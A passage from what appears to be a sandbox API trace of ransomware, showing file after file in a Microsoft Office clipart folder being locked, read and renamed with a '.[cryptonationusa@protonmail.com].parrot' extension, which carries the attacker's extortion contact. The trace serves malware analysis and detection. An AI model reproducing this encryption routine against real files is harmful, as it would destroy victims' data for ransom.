"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.255] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x372d, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.255] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.256] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3615, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3615, lpOverlapped=0x0) returned 1 [0143.258] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.258] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x372d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.258] CloseHandle (hObject=0x27c) returned 1 [0143.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.262] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x213e, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.262] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.262] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.264] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.264] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2026, lpOverlapped=0x0) returned 1 [0143.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.265] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x213e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.265] CloseHandle (hObject=0x27c) returned 1 [0143.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.268] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f0f, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.269] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.269] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.270] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.270] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3df7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3df7, lpOverlapped=0x0) returned 1 [0143.272] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.272] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f0f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.272] CloseHandle (hObject=0x27c) returned 1 [0143.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.275] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e97, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.275] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.276] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.277] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.277] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d7f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d7f, lpOverlapped=0x0) returned 1 [0143.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.278] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e97, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.279] CloseHandle (hObject=0x27c) returned 1 [0143.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.282] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4fde, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.282] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.282] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.283] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.283] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ec6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ec6, lpOverlapped=0x0) returned 1 [0143.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.285] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4fde, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.285] CloseHandle (hObject=0x27c) returned 1 [0143.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.288] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ad2, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.288] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.290] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.290] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x49ba, lpOverlapped=0x0) returned 1 [0143.291] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.291] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ad2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.291] CloseHandle (hObject=0x27c) returned 1 [0143.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.294] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10cf4, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.295] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.296] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10bdc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10bdc, lpOverlapped=0x0) returned 1 [0143.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.300] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10cf4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.300] CloseHandle (hObject=0x27c) returned 1 [0143.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.304] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cf72, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.304] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.306] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce5a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ce5a, lpOverlapped=0x0) returned 1 [0143.312] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.315] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cf72, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.315] CloseHandle (hObject=0x27c) returned 1 [0143.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.319] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16844, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.319] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.319] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.366] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.367] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1672c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1672c, lpOverlapped=0x0) returned 1 [0143.373] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.377] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16844, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.377] CloseHandle (hObject=0x27c) returned 1 [0143.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.382] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f984, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.382] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.382] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.384] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.384] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f86c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f86c, lpOverlapped=0x0) returned 1 [0143.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.394] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f984, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.395] CloseHandle (hObject=0x27c) returned 1 [0143.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.400] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b952, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.400] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.402] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b83a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b83a, lpOverlapped=0x0) returned 1 [0143.408] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.411] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b952, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.412] CloseHandle (hObject=0x27c) returned 1 [0143.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.416] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e05b, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.416] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.418] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1df43, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1df43, lpOverlapped=0x0) returned 1 [0143.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.429] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e05b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.429] CloseHandle (hObject=0x27c) returned 1 [0143.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.434] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x185eb, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.434] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.435] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.436] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.436] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x184d3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x184d3, lpOverlapped=0x0) returned 1 [0143.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.446] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x185eb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.446] CloseHandle (hObject=0x27c) returned 1 [0143.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.450] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1acbd, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.450] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.450] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.452] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.452] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aba5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1aba5, lpOverlapped=0x0) returned 1 [0143.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.462] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1acbd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.462] CloseHandle (hObject=0x27c) returned 1 [0143.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.467] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16652, nNumberOfBytesToLockHigh=0x0) returned 1 